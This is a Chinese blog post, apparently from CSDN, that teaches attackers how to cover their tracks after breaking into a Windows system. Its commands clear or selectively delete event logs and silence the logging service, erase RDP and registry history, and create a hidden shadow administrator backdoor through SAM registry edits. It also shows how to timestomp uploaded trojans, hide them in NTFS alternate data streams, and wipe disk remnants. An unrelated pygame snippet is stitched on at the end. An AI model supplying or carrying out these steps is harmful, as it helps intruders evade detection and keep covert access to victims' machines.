Windows痕迹清除技术

本文详细介绍了Windows系统入侵后如何清除日志文件、搜索及连接记录、浏览器痕迹,以及如何隐藏和伪装文件。内容包括事件查看器和注册表的清理方法,远程桌面、文件搜索和浏览器记录的删除,以及文件时间戳修改和隐藏技术。同时,讨论了文件的彻底删除策略,如Cipher和Format命令的使用。
摘要由CSDN通过智能技术生成

系统入侵后要对操作痕迹进行清除,如果上传工具和木马文件要做隐藏和伪装,以免引起警觉甚至丢失目标,“清道夫”的工作虽有些烦杂,但这些工作直接影响到目标控守的持久性。

The quieter you become, the more you are able to hear.

一、痕迹清除

(一) 日志文件

1.主机日志
类型默认路径
系统日志C:\Windows\System32\Winevt\Logs\System.evtx
安全日志C:\Windows\System32\Winevt\Logs\Security.evtx
应用日志C:\Windows\System32\Winevt\Logs\Application.evtx

(1) 全部清除

不留下任何痕迹,但是特征也很明显,容易被察觉,一般不推荐使用。

方法一:事件查看器删除

通过eventvwr打开事件查看器,在右边的操作一栏中,选择Clear Log...

方法二:powershell命令删除

  • cmd环境:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
      
PowerShell -Command "& {Get-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}}"
  • powershell环境:
Clear-Eventlog -Log Application,System,Security

Get-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}

(2) 定向清除

① 停止日志服务

方法一:工具实现

为避免清除的动作被日志记录,首先要停止日志记录,借助第三方工具实现,原理是定位并杀掉日志服务相关的线程,而其对应的svchost.exe进程并没有被杀掉,所以日志记录服务看起来是正常运行的。

项目地址:https://github.com/hlldz/Phant0m

工具老版本是用powershell写的,执行命令powershell -File Invoke-Phant0m,如果提示脚本文件无法执行,则可能是由于执行策略限制,通过命令修改执行策略即可(管理员权限):

# 查看当前ps脚本的执行策略
Get-ExecutionPolicy

# 设置ps脚本禁止执行(默认)
Set-ExecutionPolicy Restricted

# 设置ps脚本可执行
Set-ExecutionPolicy RemoteSigned

新版本需要自己编译生成可执行文件,原理在于定位并杀死日志服务运行线程,工具提供了两种定位日志服务线程的方法,在编译时要注意选择下。注意待日志清除后要恢复日志服务,命令是net start evevtlog

方法二:手动实现

首先利用powershell命令找出日志记录服务(eventlog)对应的进程PID,Get-WmiObjectGet-CimInstance命令都可以:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'"

Get-CimInstance -ClassName win32_service -Filter "name = 'eventlog'"

在这里插入图片描述

运行结果中可以看出eventlog服务对应的PID为840,然后利用Sysinternal套件中的工具procexp.exe(Process Explorer)找出PID=840的进程:

在这里插入图片描述
选择该scvhost.exe,点选右键->属性->线程,找出服务为eventlog的线程TID,如下图所示为876、884、1424、1428、1432,依次选择Kill这些线程,注意Suspend是不行的:

在这里插入图片描述
这样日志服务实际上就关闭了,但由于只是杀掉了其进程下运行的线程,而进程仍然存在,所以服务看起来是没有异样的,这和方法一中用工具实现的原理是相同的。

需要恢复日志记录服务时,在进程列表界面选择该scvhost.exe,点选右键->重新启动,然后运行命令net start eventlog就可以了。

② 删除日志

一般在做敏感操作时,先关闭入侵系统的日志服务,然后就可以做羞羞的事了,但如果是为了清除单条日志,则需要借助第三方工具实现。以下这个工具可以实现停止日志服务、根据EventRecordID删除单条日志记录等功能。

项目地址:https://github.com/QAX-A-Team/EventCleaner

使用方法:

EventCleaner suspend      # 暂停日志进程,停止日志记录

EventCleaner normal       # 恢复日志进程

EventCleaner closehandle  # 解除security.evtx的文件占坑

EventCleaner 100          # 删除EventRecordID=100的日志
2.应用日志

删改WIndows安装的应用程序的日志相对简单些,因为定位其路径后就可以手动进行删改,思路都是相同的,都是先找到应用程序的日志路径,停止其相应服务,然后对日志内容进行删改

这里以最常见的WEB应用为例,日志类型及其默认路径和服务如下:(注意不同版本的应用日志默认存放路径可能不同)

日志类型默认路径相应服务
IISC:\inetpub\logs\LogFiles\W3SVC1\World Wide Publishing Service
ApacheC:\Apache 2.4\logsApache2.4
TomcatC:\Tomcat 8.5\logsApache Tomcat 8.5 Tomcat8

停止服务的命令一般用net stop即可,如net stop "World Wide Publishing Service",删除命令用Shift + Delete或cmd命令del

(二) 搜索&连接

获取shell后一般要谨慎行事,但是不排除特殊情况下要远程桌面连接上去做一些敏感操作,一旦留下痕迹切记要做好清理。

1.远程桌面记录

(1) 删除缓存

缓存文件默认为C:\Users\Administrator\Documents\Default.rdp,已隐藏,可到用户的Document目录下,文件夹选项选择隐藏文件可见,然后删除,也可以用cmd命令删除,注意这样删除的是全部的连接记录:

cd C:\Users\Administrator\Documents\
attrib Default.rdp -s -h
del Default.rdp	

(2) 删除注册表

对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\,可以用regedit打开注册表编辑器,找到这两个键,在右边定向删除对应的值,也可以用cmd命令将其全部清除:

reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f

注意:reg delete默认是将该注册表项和其所有值以及子项全部都删除,如果只将该注册表项下的所有值都删除,不删除该注册表项和其子项,要用reg delete /va

2.文件搜索记录

对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery,打开注册表编辑器,找到该键并删除对应的值。

在这里插入图片描述

3.文件浏览记录

在这里插入图片描述
对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths,打开注册表编辑器,找到该键并删除对应的值。

4.最近访问位置

win7在我的电脑或资源管理器中,在最近访问位置右键->删除最近项目列表;win10在我的电脑或资源管理器中,选择查看->选项->常规中,将隐私一栏的“快速访问”两个选项去掉,并选择清除历史记录,界面如下:
在这里插入图片描述

5.运行命令记录

对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU,打开注册表编辑器,找到该键并删除对应的值。

在这里插入图片描述

(三) 浏览器记录

如果必须用浏览器访问,尽量使用有隐私模式的浏览器,开启隐私模式可以避免在本地计算机留下历史记录、缓存文件和Cookies。

注意不同浏览器版本日志存放路径可能不同,以下例举的日志默认存放路径并不绝对。

1.IE

(1) 存放位置

工具->Internet 选项->常规->浏览历史记录->设置中的当前位置记录了缓存文件存放路径

日志类型默认路径
浏览记录C:\Users\Administrator\AppData\Local\Microsoft\Windows\History\
缓存文件C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\
CookiesC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Cookies\

(2) 删除方法

  • 方法一:在浏览器搜索下拉栏中,直接选择删除相应的历史记录
  • 方法二:在工具->Internet 选项->常规->浏览历史记录中,选择删除所有浏览历史记录、缓存文件、Cookies
2.Chrome

(1) 存放位置

在浏览器搜索栏中输入chrome://version/,可以看到个人资料路径

日志类型默认路径
浏览记录C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\history
缓存文件C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cache\
CookiesC:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies

(2) 删除方法

  • 方法一:在浏览器搜索栏中输入chrome://history/,选择删除单条浏览记录
  • 方法二:在设置->隐私设置和安全性中,或在搜索栏输入chrome://history/后选择清除浏览数据,选择删除特定时间范围的浏览历史记录、缓存文件、Cookies
3.Firefox

(1) 存放位置

在浏览器搜索栏中输入about:cache,可以看到缓存文件的磁盘存储路径

日志类型默认路径
浏览记录C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\70rs4c5d.default-release\places.sqlite
缓存文件C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\70rs4c5d.default-release\cache2\
CookiesC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\afn7ww6q.default-release\cookies.sqlite

(2) 删除方法

  • 方法一:在Library->History->Recent History栏中右键删除特定的浏览记录
  • 方法二:在Library->History->Clear Recent History,或在Options->Privacy & Security中选择Clear History,删除指定时间范围的历史记录

(四) 隐藏用户

低级新建隐藏用户的方式是在新建用户名结尾加上$,这样虽然net user命令查看不到,但是以下三种方式都可以看到新建的用户:

  • powershell命令:powershell -c Get-LocalUser
  • 在计算机管理中 (cmd命令: compmgmt) 选择 “本地用户和组—>用户”,或者通过cmd命令 lusrmgr 直接打开
  • 控制面板 (cmd命令: control) 中选择“用户帐户—>用户帐户—>管理其他帐户”

而且在计算机登录界面也会显示新建的用户名,这样新建用户很容易被发现。

推荐使用新建 影子用户 的方式隐藏用户,这样只能通过注册表查看,其它方式无法查看隐藏用户信息。

方法:

(将新建用户admin$作为Administrator的影子用户,Administrator已激活)

1.新建用户

net user admin$ asdfasdf /add
net localgroup administrators admin$ /add

2.导出注册表

打开注册表,右键HKEY_LOCAL_MACHINE\SAM\SAM,当前用户 (组) 权限选择完全控制,然后重新打开注册表,再次选择HKEY_LOCAL_MACHINE\SAM\SAM就可以看见HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中的内容,如下所示:

请添加图片描述
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names显示了系统当前存在的所有账户,选中admin$,在其右侧可见对应键值为"0x3ee",此键值为用户SID的结尾,即RID。同理找到Administrator右侧对应键值为"0x1f4",相应地将 00003EE00001F4admin$ 三个注册表项右键导出为reg格式文件:3ee.reg、1f4.reg、admin.reg

3.F键值替换

编辑 3ee.reg 和 1f4.reg,将 3ee.reg 中的F键值替换成 1f4.reg 中的F键值,F键值中存放了用户的登录信息,替换后也就是将Administrator用户的登录信息复制给了admin$,这样在操作系统内部就把admin$当做是Administrator,admin$也就成了Administrator的影子账户。
请添加图片描述
4.导入注册表

删除用户,然后将刚刚导出的 3ee.reg 和 admin.reg 重新导入:

net user admin$ /del

regedit /s 3ee.reg
regedit /s admin.reg

影子账户建立完成,两者使用同一个用户配置文件,RDP登录admin$用户,桌面环境、浏览器配置等数据和Administrator同步一致,需谨慎操作。

不同环境下影子用户登录时现象不同,假设A为原用户,A$为A的影子用户,如果当前主机没有用户登录,则A$登录后quser显示就是A$在线;如果A已经登录 (Active或Disc),A$登录时情况要复杂些,分析如下:

  • 主机只允许每个用户1个session在线情况下 (缺省值):无论单用户还是多用户环境,A$登录时A直接掉线至锁屏,A不会有任何提示 (单用户环境下,当有用户在线,其他用户在远程登录时登录界面会提示:“如果继续,当前在线用户会断开”,选择继续后,当前在线的用户会出现提示:“其他用户正在连接,是否允许并断开当前的连接”,只有当选择允许或者超过30s才会建立连接),quser显示只有A在线,这与A登录新创建1个session的现象是相同的。

  • 主机允许每个用户多个session在线情况下:单用户环境下,无论A是否在线,A$登录都会接管A的桌面,quser显示仅有A在线;多用户环境下,当A用户在线 (Active),A$登录时不会将A挤掉,此时会重新初始化一个桌面环境,但是A和A$实际上用的是同一个桌面环境,一些软件如浏览器A打开后A$无法再次打开,quser显示A和A$同时在线,当A用户离线 (Disc),影子用户在登录时会接管A的桌面,quser显示只有A在线。

二、文件伪装

(一) 伪装&隐藏

1.修改时间

上传工具或木马文件后,为掩人耳目,要将其修改为和当前目录中文件相近的时间,可以利用powershell进行修改。

例如将刚上传的test.exe工具创建时间修改为2020年12月12日12:12:12,方法如下:

方法一:利用对象属性修改

查看文件的创建时间、修改时间、上次访问时间:

(ls "C:\temp\test.exe").CreationTIme
(ls "C:\temp\test.exe").LastWriteTime
(ls "C:\temp\test.exe").LastAccessTime

dir命令以及文件夹目录中显示的时间都是文件的修改时间LastWriteTime

修改文件的创建时间、修改时间、上次访问时间:

(ls "C:\temp\test.exe").CreationTIme = "2020年12月12日12:12:12"
(ls "C:\temp\test.exe").LastWriteTime = "2020年12月12日12:12:12"
(ls "C:\temp\test.exe").LastAccessTime = "2020年12月12日12:12:12"

在这里插入图片描述
方法二:利用cmdlet命令修改

查看文件属性信息,包括文件的创建时间、修改时间、上次访问时间:

Get-ItemProperty -Path "C:\temp\test.exe" | Format-list -Property *

修改文件的创建时间、修改时间、上次访问时间:

Set-ItemProperty -Path "C:\temp\test.exe" -Name CreationTIme -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastWriteTime -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastAccessTime -Value "2011-11-11 11:11:11"

在这里插入图片描述

2.文件隐藏

方法一:attrib命令

上传后利用attrib命令改变文件属性,命令格式:
attrib [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]

  • + 增加属性
  • - 减少属性
  • R 只读文件属性
  • A 存档文件属性
  • S 系统文件属性
  • H 隐藏文件属性
  • /S 处理当前文件夹及其子文件夹中的匹配文件
  • /D 也处理文件夹

例如在C:\temp目录上传工具test.exe,将其目录及其文件隐藏命令:attrib +r +a +s +h C:\temp\test.exe & attrib +r +a +s +h C:\temp,如果要将其删除,先要将其恢复然后再删除:attrib -r -a -s -h C:\temp & rmdir C:\temp /s /q

利用attrib隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,都是不可见的,如果要查看可以用命令:dir /a

方法二:ADS隐写

首先要了解MAC文件系统 (HFS) 和Windows文件系统 (NTFS) 储存文件数据的方式:

  • MAC文件系统将文件数据存储在数据和资源两个部分,数据部分存储文件内容,资源部分用于告诉操作系统如何使用文件数据
  • Windows文件系统将文件数据全部存储在文件中,用文件扩展名 (.bat .exe .txt 等) 告诉操作系统如何使用文件数据

ADS (Alternate Data Streams) 是Windows文件系统NTFS的特性之一,目的是兼容MAC文件系统,原本用意是通过ADS兼容MAC文件系统中文件存储的资源部分,但可以利用此特性将文件隐藏在文件、目录甚至盘符的ADS中。

ADS隐藏文件可以起到很好效果,但如果想要利用ADS运行可执行文件,情况要复杂些,因为在Windows 7之后系统对ADS运行可执行文件作了限制,具体系统需要验证方法可行性。

目前在我的实验环境下将可执行文件隐藏到其他文件的ADS,测试了几种运行方法:只有runas命令在所有Windows版本是可行的,但是必须要交互输入用户密码,其他命令方式在不同版本系统表现不同,要先验证才行,实验中将工具test.exe上传至主机C:\temp目录,将其利用ADS隐藏,不同方法具体使用情况如下:

① 将其隐藏在用户桌面test.txt文件的ADS中,ADS命名为1.exe

# 隐藏ADS
type C:\temp\test.exe > C:\users\Jim\desktop\test.txt:1.exe

# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\users\Jim\desktop; .\test.txt:1.exe"

② 将其隐藏在C:\Windows目录的ADS中,ADS命名为2.exe

# 隐藏ADS
type C:\temp\test.exe > C:\Windows:2.exe

# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\; .\Windows:2.exe"

③ 将其隐藏在C:\盘符的ADS中,ADS命名为3.exe

type C:\temp\test.exe > C:3.exe

# 隐藏在盘符中的方式在所有Windows系统中都可以直接运行
C:3.exe

利用ADS技术隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,或是查看文件内容和大小,都是不可发现的,如果要查看可以用命令:dir /r,如果要将文件ADS删除,需要将文件转换为FAT、FAT32等其他文件系统格式,或是借助第三方工具如:SysinternalsSuite工具包中的 Streams ,使用方法如下:

# 查看文件/目录ADS
Streams.exe -s <DIR|FILE>

# 删除文件/目录ADS
Streams.exe -d <DIR|FILE>

(二) 文件擦除

对于敏感文件和工具,不能用常规的删除命令,因为常规删除的文件会进入回收站,易留下痕迹,而且在磁盘空间未覆盖情况下可以用数据恢复软件恢复,以下这些命令更加安全高效:

1.命令行Del/Erase删除

永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。

2.Shift+Delete永久删除

永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。

3.Cipher擦除覆写

cipher /W:directory:从整个卷上可用的磁盘空间中覆写数据,从而覆盖已删除文件的硬盘空间,这样之前删除的数据顶多能够恢复文件名,但是恢复数据几乎是不可能的

例如刚删除工具C:\temp\test.exe,然后执行cipher /W:C,这样C盘上的空余空间就会被覆写三轮,分别是0x00、0xFF、随机数,覆写需要一段时间,这取决于C盘空余空间的大小。

4.Format格式化覆写

format volume /P:count:将volume卷上每个扇区清零,此后该卷将被改写count次,且每次使用不同的随机数。

例如format D: /P:10表示把D盘用随机数格式化后再覆写10次。

  • 4
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
若要清除 pygame 渲染窗口中的痕迹,可以使用 `pygame.display.flip()` 函数,它会在屏幕上显示所有绘制的图形,然后清除缓存并刷新窗口。 下面是使用 `pygame.display.flip()` 函数来清除痕迹的示例代码: ```python import pygame # 初始化 pygame pygame.init() # 创建窗口 window = pygame.display.set_mode((600, 400)) pygame.display.set_caption("清除痕迹例子") # 设置背景颜色 bg_color = (255, 255, 255) # 绘制三个矩形 rect1 = pygame.draw.rect(window, (255, 0, 0), (50, 50, 100, 100)) rect2 = pygame.draw.rect(window, (0, 255, 0), (200, 50, 100, 100)) rect3 = pygame.draw.rect(window, (0, 0, 255), (350, 50, 100, 100)) # 渲染窗口 pygame.display.flip() # 让窗口保持打开状态 while True: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() quit() ``` 在这个例子中,我们首先绘制了三个不同颜色的矩形,并使用 `pygame.display.flip()` 渲染窗口。随后,我们使用一个无限循环来保持窗口打开,这样我们就可以观察到渲染效果。注意,如果不调用 `pygame.display.flip()` 函数,我们看不到窗口上的绘制结果,只能看到一个空白的屏幕。 如果你想在窗口中添加更多图形,可以在无限循环中添加相应的 `pygame.draw.` 函数,并在每次绘制完成后调用 `pygame.display.flip()` 函数刷新窗口。这样,你就能够动态地清除痕迹并实时更新屏幕上的图形。 希望这能帮助你解决问题!
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值